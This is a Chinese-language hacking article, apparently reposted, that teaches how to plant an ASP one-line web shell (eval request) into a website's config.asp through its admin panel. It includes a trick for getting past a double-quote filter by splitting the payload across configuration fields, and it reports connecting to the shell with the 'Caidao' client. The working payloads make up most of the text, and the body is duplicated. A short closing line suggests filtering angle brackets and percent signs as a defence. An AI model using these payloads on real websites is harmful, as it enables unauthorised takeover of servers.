淺說雙引號被過濾時(shí)一句話的插入與防范
發(fā)布時(shí)間:2011-04-01 23:40:07 作者:佚名
我要評論

昨日小刀刀在群里拋了一個(gè)問題,說后臺插入一句話老是出錯(cuò),群里的朋友出了很多主意,但是最后還是沒搞定。后來這小子把問題拋給了我,昨天我就測試了一下。這里把情況介紹給大家。
一般而言,后臺插一句話,如果數(shù)據(jù)庫擴(kuò)展名是asp的話,那么插數(shù)據(jù)庫,但是如果有配置文件可以插的話,那肯定是插入配置文件了,但是插入配置文件有一個(gè)很大的風(fēng)險(xiǎn),那就是一旦出錯(cuò)那么全盤皆輸,有可能不僅僅造成后臺無法登陸,甚至有可能是整個(gè)網(wǎng)站系統(tǒng)崩潰,所以插入配置文件,請慎之又慎。
話歸正題,如果想插入配置文件,一般是config.asp,那么首先需要了解這個(gè)文件的一般情況。
網(wǎng)站的配置一般是保存網(wǎng)站名,地址,email之類的,既然是字符,那么格式應(yīng)當(dāng)是
webname=“test website”
對于這樣的配置插入一句話的話,我們的機(jī)會就是替換test website,那么需要閉合2個(gè)",同時(shí)要插入一句話,語句可以這樣
"%><%eval request("d"%><%s="
那么在config.asp中就是
webname=“ "%><%eval request("d"%><%s=" ”
第一個(gè)"是閉合前面的配置文件中的",%>就是閉合前一段腳本,之后插入一句話<%eval request("d"%>,現(xiàn)在要閉合原來的"和%>
所以加入<%s=",這里特別要注意“s=”,如果沒有這個(gè)等號的話,那么就會成<%" ",這樣必將出錯(cuò)。
好了,這是常規(guī)的辦法,現(xiàn)在我們回到開始那個(gè)問題,按照前面的方法插入

插入后,我們再點(diǎn)擊“網(wǎng)站設(shè)置” ,出現(xiàn)錯(cuò)誤

從這個(gè)錯(cuò)誤,我們可以得到2個(gè)信息。
第一,配置文件的路徑:http://www.target.com/zfbm/zfb/inc/config.asp
第二,網(wǎng)站名的變量為webname。
昨天由于很晚了,就沒繼續(xù)看,今天出差,晚上回來剛剛上Q,小刀刀就q我,說拿下了,并說這個(gè)后臺過濾了雙引號",結(jié)合昨天的錯(cuò)誤一看果然是,由于我們閉合前面雙引號起"的那個(gè)雙引號收"被過濾成單引號',所以就成了webname=" ',這樣的話那么這個(gè)雙引號沒有閉合,由于雙引號是vbscript的控制符,沒有閉合config.asp運(yùn)行必然出錯(cuò)。那么我們遇到這種雙引號被過濾了的情況改怎么辦呢。
由于插入一句話必須要用雙引號括起來,而輸入雙引號又被過濾,所以我們可以利用他們自身的雙引號來解決。
在配置文件中,我們還可以看到這樣一些設(shè)置

就是配置網(wǎng)站的公告數(shù) ,文章數(shù)等。可以假設(shè)一下,他必然是整數(shù)賦值,沒有雙引號包括
num=5
num是整數(shù)型,不然就成字符了num="5"
那么我們的一句話就可以這樣構(gòu)建,如圖

在公告數(shù)中我們插入5%><%eval request(webname)%><%
必須要有5,不然將會出錯(cuò),在網(wǎng)站名中我們插入"open"
由于我們沒有輸入雙引號,不存在過濾,我們利用 配置文件本身的雙引號來達(dá)到目的。那么配置文件現(xiàn)在的內(nèi)容如下
<%
....................
webname="open"
num=5%><%eval request(webname)%><%
webnum=7
.......
%>
我們的一句話就相應(yīng)為
eval request("open"),open為密碼。
用菜刀成功連接

從上可見,我們成功利用配置文件本身避開了一句話中雙引號被過濾的問題。
那么在網(wǎng)頁設(shè)計(jì)方面,我們可以增加過濾<,%,>或者組合<%,%>這些特殊符號,禁止這些符號的輸入,那么將大大增加網(wǎng)頁安全。
by daokers 2010.4.28深夜于Canton
話歸正題,如果想插入配置文件,一般是config.asp,那么首先需要了解這個(gè)文件的一般情況。
網(wǎng)站的配置一般是保存網(wǎng)站名,地址,email之類的,既然是字符,那么格式應(yīng)當(dāng)是
webname=“test website”
對于這樣的配置插入一句話的話,我們的機(jī)會就是替換test website,那么需要閉合2個(gè)",同時(shí)要插入一句話,語句可以這樣
"%><%eval request("d"%><%s="
那么在config.asp中就是
webname=“ "%><%eval request("d"%><%s=" ”
第一個(gè)"是閉合前面的配置文件中的",%>就是閉合前一段腳本,之后插入一句話<%eval request("d"%>,現(xiàn)在要閉合原來的"和%>
所以加入<%s=",這里特別要注意“s=”,如果沒有這個(gè)等號的話,那么就會成<%" ",這樣必將出錯(cuò)。
好了,這是常規(guī)的辦法,現(xiàn)在我們回到開始那個(gè)問題,按照前面的方法插入

插入后,我們再點(diǎn)擊“網(wǎng)站設(shè)置” ,出現(xiàn)錯(cuò)誤

從這個(gè)錯(cuò)誤,我們可以得到2個(gè)信息。
第一,配置文件的路徑:http://www.target.com/zfbm/zfb/inc/config.asp
第二,網(wǎng)站名的變量為webname。
昨天由于很晚了,就沒繼續(xù)看,今天出差,晚上回來剛剛上Q,小刀刀就q我,說拿下了,并說這個(gè)后臺過濾了雙引號",結(jié)合昨天的錯(cuò)誤一看果然是,由于我們閉合前面雙引號起"的那個(gè)雙引號收"被過濾成單引號',所以就成了webname=" ',這樣的話那么這個(gè)雙引號沒有閉合,由于雙引號是vbscript的控制符,沒有閉合config.asp運(yùn)行必然出錯(cuò)。那么我們遇到這種雙引號被過濾了的情況改怎么辦呢。
由于插入一句話必須要用雙引號括起來,而輸入雙引號又被過濾,所以我們可以利用他們自身的雙引號來解決。
在配置文件中,我們還可以看到這樣一些設(shè)置

就是配置網(wǎng)站的公告數(shù) ,文章數(shù)等。可以假設(shè)一下,他必然是整數(shù)賦值,沒有雙引號包括
num=5
num是整數(shù)型,不然就成字符了num="5"
那么我們的一句話就可以這樣構(gòu)建,如圖

在公告數(shù)中我們插入5%><%eval request(webname)%><%
必須要有5,不然將會出錯(cuò),在網(wǎng)站名中我們插入"open"
由于我們沒有輸入雙引號,不存在過濾,我們利用 配置文件本身的雙引號來達(dá)到目的。那么配置文件現(xiàn)在的內(nèi)容如下
<%
....................
webname="open"
num=5%><%eval request(webname)%><%
webnum=7
.......
%>
我們的一句話就相應(yīng)為
eval request("open"),open為密碼。
用菜刀成功連接

從上可見,我們成功利用配置文件本身避開了一句話中雙引號被過濾的問題。
那么在網(wǎng)頁設(shè)計(jì)方面,我們可以增加過濾<,%,>或者組合<%,%>這些特殊符號,禁止這些符號的輸入,那么將大大增加網(wǎng)頁安全。
by daokers 2010.4.28深夜于Canton
相關(guān)文章
thinkphp代碼執(zhí)行g(shù)etshell的漏洞解決
本文來介紹一下thinkphp官方修復(fù)的一個(gè)getshell漏洞,框架對控制器沒有進(jìn)行足夠的檢測導(dǎo)致的一處getshell,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點(diǎn)服務(wù)端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實(shí)例分析,需要的朋友可以參考下2017-05-19
ASP+PHP 標(biāo)準(zhǔn)sql注入語句(完整版)
這里為大家分享一下sql注入的一些語句,很多情況下由于程序員的安全意識薄弱或基本功不足就容易導(dǎo)致sql注入安全問題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學(xué)2017-05-19- 對于目前流行的sql注入,程序員在編寫程序時(shí),都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會自動的記錄下你的IP地址,提交的非法參數(shù)和動作等,2017-04-29
XSS繞過技術(shù) XSS插入繞過一些方式總結(jié)
我們友情進(jìn)行XSS檢查,偶然跳出個(gè)小彈窗,其中我們總結(jié)了一些平時(shí)可能用到的XSS插入方式,方便我們以后進(jìn)行快速檢查,也提供了一定的思路,其中XSS有反射、存儲、DOM這三類2016-12-27- 這篇文章主要介紹了Python 爬蟲使用動態(tài)切換ip防止封殺的相關(guān)資料,需要的朋友可以參考下2016-10-08
使用爬蟲采集網(wǎng)站時(shí),解決被封IP的幾種方法
這篇文章主要介紹了使用爬蟲采集網(wǎng)站時(shí),解決被封IP的幾種方法的相關(guān)資料,需要的朋友可以參考下2016-10-08